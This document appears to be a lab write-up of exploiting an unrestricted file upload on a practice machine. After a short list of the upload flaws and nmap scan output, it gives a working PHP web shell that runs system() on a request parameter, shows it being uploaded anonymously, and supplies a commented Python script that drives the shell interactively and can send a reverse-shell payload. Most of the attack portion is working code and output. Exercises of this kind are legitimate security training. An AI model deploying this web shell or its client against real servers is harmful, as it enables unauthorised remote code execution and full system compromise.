Allowing unrestricted file uploads can lead to remote code execution (RCE) and complete system compromise. below are the flaws that contribute to arbitrary file upload
Unrestricted File Upload – The application allows arbitrary file uploads, including PHP scripts, without proper validation or restrictions.
MIME Type Misconfiguration – The uploaded file retains its PHP MIME type (application/x-php), indicating no enforcement of safe content types (e.g., application/octet-stream or text/plain).
Extension Bypass Possibility – There is no restriction on file extensions, allowing direct .php uploads. Attackers could also try bypasses such as .jpg.php or .PHP.
Lack of Content Inspection – No checks (e.g., file_get_contents()) appear to be in place to detect embedded PHP code.
Disclosure of Upload Path – The server reveals the exact location of the uploaded file (/uploads/backdoor.php), aiding attackers in execution.
root@oco:~$ sudo nmap -sV -sC -T4 10.129.202.133 -p-
PORT STATE SERVICE VERSION
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title.
3001/tcp open http PHP cli server 5.5 or later
|_http-title: Login
3002/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title.
3003/tcp open http PHP cli server 5.5 or later (PHP 7.4.3)
root@oco:~$ sudo nmap --script=vuln -T4 10.129.202.133 -p 3000,3001,3002,3003
PORT STATE SERVICE
3000/tcp open ppp
3001/tcp open nessus
3002/tcp open exlm-agent
3003/tcp open cgms
root@oco:~$ BROWSER > http://10.129.202.133:3001/
* anonymous file upload in the open
root@oco:~$ nano backdoor.php
<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>
root@oco:~$ BROWSER > http://10.129.202.133:3001
Anonymous upload: backdoor.php
Your file is uploaded to /uploads/backdoor.php
root@oco:~$ nano webShell.py
import argparse, time, requests, os
parser = argparse.ArgumentParser(description="Interactive Web Shell for PoCs")
parser.add_argument("-t", "--target", help="Specify the target host E.g. http://<TARGET IP>:3001/uploads/backdoor.php", required=True)
parser.add_argument("-p", "--payload", help="Specify the reverse shell payload E.g. a python3 reverse shell. IP and Port required in the payload")
parser.add_argument("-o", "--option", help="Interactive Web Shell with loop usage: python3 web_shell.py -t http://<TARGET IP>:3001/uploads/backdoor.php -o yes")
args = parser.parse_args()
if args.target == None and args.payload == None:
parser.print_help()
elif args.target and args.payload:
print(requests.get(args.target+"/?cmd="+args.payload).text)
if args.target and args.option == "yes":
os.system("clear") # clear the screen (linux)
while True:
try:
cmd = input("$ ")
print(requests.get(args.target+"/?cmd="+cmd).text)
time.sleep(0.3) # waits 0.3 seconds during each request
except requests.exceptions.InvalidSchema:
print("Invalid URL Schema: http:// or https://")
except requests.exceptions.ConnectionError:
print("URL is invalid")
* # imports four modules argparse (used for system arguments), time (used for time), requests (used for HTTP/HTTPs Requests), os (used for operating system commands)
* partse = argparse.ArgumentParser(): # generates a variable called parser and uses argparse to create a description
* # specifies flags such as -t for a target with a help and required option being true
* args... # defines args as a variable holding the values of the above arguments so we can do args.option for example.
* # checks if args.target (the url of the target) and the payload is blank if so it'll show the help menu
* # shows help menu
* # elif (if they both have values do some action)
* ## sends the request with a GET method with the targets URL appends the /?cmd= param and the payload and then prints out the value using .text because we're already sending it within the print() function
* # if the target option is set and args.option is set to yes (for a full interactive shell)
* # starts a while loop (never ending loop)
* # defines a cmd variable for an input() function which our user will enter
* # same as above except with our input() function value